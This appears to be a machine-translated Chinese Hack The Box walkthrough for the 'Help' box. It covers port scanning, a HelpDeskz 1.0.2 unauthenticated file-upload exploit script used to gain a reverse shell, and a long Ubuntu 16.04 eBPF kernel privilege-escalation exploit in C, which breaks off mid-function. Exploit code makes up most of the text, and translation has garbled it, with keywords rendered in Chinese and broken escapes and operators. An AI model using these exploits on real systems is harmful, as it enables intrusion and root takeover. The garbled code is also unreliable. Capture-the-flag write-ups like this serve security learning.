Hack The Box —— Help

信息搜集
nmap
1NMAP -T4 -A -V 10.10.10.121

发现端口22、80和3000是打开的,而访问端口80是Apache的默认页面。
目录爆破
使用dirbuster爆炸目录:
发现支持目录并访问:

搜索HelpDeskz相关的漏洞,并找到了上传任意文件的漏洞:3https://WWW.EXPLOIT-DB.COM/EXPLOITS/40300
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
导入哈希布
进口时间
导入系统
导入请求
打印'HelpDeskz v1.0.2-未经身份验证的外壳上传漏洞利用'
如果Len(sys.argv)3:
打印'USAGE: {} [baseurl] [namefuploadedfile]'。格式(sys.argv [0])
sys.exit(1)
helpdeskzbaseurl=sys.argv [1]
文件名=sys.argv [2]
currentTime=int(time.time())
对于X范围(0,300):
明文=filename + str(CurrentTime -x)
md5hash=hashlib.md5(plaintext).hexdigest()
url=helpdeskzbaseurl+md5hash+'。php'
响应=requests.head(url)
if antsphy.status_code==200:
打印“找到!”
打印URL
sys.exit(0)
打印“对不起,我什么也没找到”
漏洞利用
首先,上传一个脚本文件,在提交票证上反弹外壳:
返回:

然后,执行EXP脚本:
1
python2 poc.py http://10.10.10.121/support/uploads/tickets/1.php
但是,无论如何都无法在这里访问外壳。后来,在查询相关信息后,我了解到当前-X获得的数字是不正确的,因为服务器区域中的时区与国内时区的时区不同。因此,脚本略有更改:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
导入哈希布
导入时间,日历
导入系统
导入请求
打印'HelpDeskz v1.0.2-未经身份验证的外壳上传漏洞利用'
如果Len(sys.argv)3:
打印'USAGE: {} [baseurl] [namefuploadedfile]'。格式(sys.argv [0])
sys.exit(1)
helpdeskzbaseurl=sys.argv [1]
文件名=sys.argv [2]
#currenttime=int(time.time())
响应=requests.head(helpdeskzbaseurl)
servertime=response.headers ['date']
打印Servertime
TimeFormat='%a,%d%b%y%h:%m:%s%z'
currentTime=int(calendar.timegm(time.strptime(Servertime,timeformat))))))
打印当前时间
对于X范围(0,90):
明文=filename + str(CurrentTime -x)
md5hash=hashlib.md5(plaintext).hexdigest()
url=helpdeskzbaseurl+md5hash+'。php'
响应=requests.head(url)
if antsphy.status_code==200:
打印“找到!”
打印URL
sys.exit(0)
打印“对不起,我什么也没找到”
成功反弹的壳:


检查user.txt获取第一个标志
Whoami查看权限,发现时使用的普通用户权限
UNAME- A检查内核版本编号,并尝试提高内核的授权。

提权
搜索相关的内核版本漏洞信息并找到https://www.exploit-db.com/exploits/442981
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
/*
* Ubuntu 16.04.4内核Priv Esc
*
*所有信用@bleidl
* - vnik
*/
//在:上进行了测试
//4.4.0-116基因#140-ubuntu SMP星期一21:23:04 UTC 2018 x86_64
//如果不同的内核调整信用偏移+检查内核堆栈尺寸
#include stdio.h
#include stdlib.h
#include unistd.h
#include errno.h
#include fcntl.h
#include string.h
#include linux/bpf.h
#include linux/unistd.h
#include sys/mman.h
#include sys/types.h
#include sys/socket.h
#include sys/un.h
#include sys/stat.h
#include stdint.h
#define phys_offset0xffff8880000000000
#Define Cred_offset0x5f8
#define uid_offset 4
#define log_buf_size 65536
#Define Progsize 328
int插座[2];
int mapfd,progfd;
char *__ prog='\ xb4 \ x09 \ x00 \ x00 \ xff \ xff \ xff \ xff \ xff \ xff \ xff \ xff \ xff'
'\ x55 \ x09 \ x02 \ x00 \ xff \ xff \ xff \ xff \ xff \ xff \ xff \ xff \ xff'
'\ xb7 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ x18 \ x19 \ x00 \ x00 \ x03 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ xbf \ x91 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ xbf \ xa2 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x07 \ x02 \ x00 \ x00 \ xfc \ xff \ xff \ xff \ xff \ xff \ xff \ xff \ xff'
'\ x62 \ x0a \ xfc \ xff \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ x85 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x55 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ x79 \ x06 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ xbf \ x91 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ xbf \ xa2 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x07 \ x02 \ x00 \ x00 \ xfc \ xff \ xff \ xff \ xff \ xff \ xff \ xff \ xff'
'\ x62 \ x0a \ xfc \ xff \ x01 \ x00 \ x00 \ x00 \ x00'
'\ x85 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x55 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ x79 \ x07 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ xbf \ x91 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ xbf \ xa2 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x07 \ x02 \ x00 \ x00 \ xfc \ xff \ xff \ xff \ xff \ xff \ xff \ xff \ xff'
'\ x62 \ x0a \ xfc \ xff \ x02 \ x00 \ x00 \ x00'
'\ x85 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x55 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ x79 \ x08 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ xbf \ x02 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ xb7 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ x55 \ x06 \ x03 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ x79 \ x73 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ x7b \ x32 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ x55 \ x06 \ x02 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00'
'\ x7b \ xa2 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00''
'\ x7b \ x87 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00';
char bpf_log_buf [log_buf_size];
静态int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns,int prog_len,
const char *许可,int kern_version){
联合bpf_attr attr={
.prog_type=prog_type,
.insns=(__U64)insns,
.insn_cnt=prog_len/sizeof(struct bpf_insn),
.license=(__U64)许可证,
.log_buf=(__U64)bpf_log_buf,
.log_size=log_buf_size,
.log_level=1,
};
attr.kern_version=kern_version;
bpf_log_buf [0]=0;
返回syscall(__ nr_bpf,bpf_prog_load,attr,sizeof(attr));
}
静态int int bpf_create_map(enum bpf_map_type map_type,int key_size,int value_size,
int max_entries){
联合bpf_attr attr={
.map_type=map_type,
.key_size=key_size,
.value_size=value_size,
.max_entries=max_entries
};
返回syscall(__ nr_bpf,bpf_map_create,attr,sizeof(attr));
}
静态int bpf_update_elem(uint64_t键,uint64_t value){
联合bpf_attr attr={
.map_fd=mapfd,
.key=(__U64)键,
.value=(__U64)值,
.flags=0,
};
返回syscall(__ nr_bpf,bpf_map_update_elem,attr,sizeof(attr));
}
静态int bpf_lookup_elem(void *key,void *value){
联合bpf_attr attr={
.map_fd=mapfd,
.key=(__U64)键,
.value=(__U64)值,
};
返回syscall(__ nr_bpf,bpf_map_lookup_elem,attr,sizeof(attr));
}
静态void __exit(char *err){
fprintf(stderr,'error:%s \ n',err);
出口(-1);
}
静态void prep(void){
mapfd=bpf_create_map(bpf_map_type_array,sizeof(int),sizeof(long long),3);
如果(MAPFD 0)
__EXIT(strerror(errno));
progfd=bpf_prog_load(bpf_prog_type_socket_filter,
(struct bpf_insn *)__ prog,progsize,'gpl',0);
if(progfd 0)
__EXIT(strerror(errno));
if(socketPair(af_unix,sock_dgram,0,sockets))
__EXIT(strerror(errno));
if(setSockopt(sockets [1],sol_socket,so_attach_bpf,progfd,sizeof(progfd))0)
__EXIT(strerror(errno));
}
静态void writemsg(void){
char缓冲区[64];
ssize_t n=write(套接字[0],缓冲区,sizeof(buffer));
如果(n 0){
Perror('Write');
返回;
}
如果(n!=sizeof(buffer))
fprintf(stderr,'短写:%lu \ n',n);
}
#define __UPDATE_ELEM(a,b,c)\
BPF_UPDATE_ELEM(0,(A)); \ \
BPF_UPDATE_ELEM(1,(b)); \ \
bpf_update_elem(2,(c)); \ \
writemsg();
静态Uint64_t get_value(int键){
uint64_t值;
if(bpf_lookup_elem(key,value))
__EXIT(strerror(errno));
返回值;
}
静态Uint64_t __get_fp(void){
__UPDATE_ELEM(1,0,0);
返回get_value(2);
}
静态Uint64_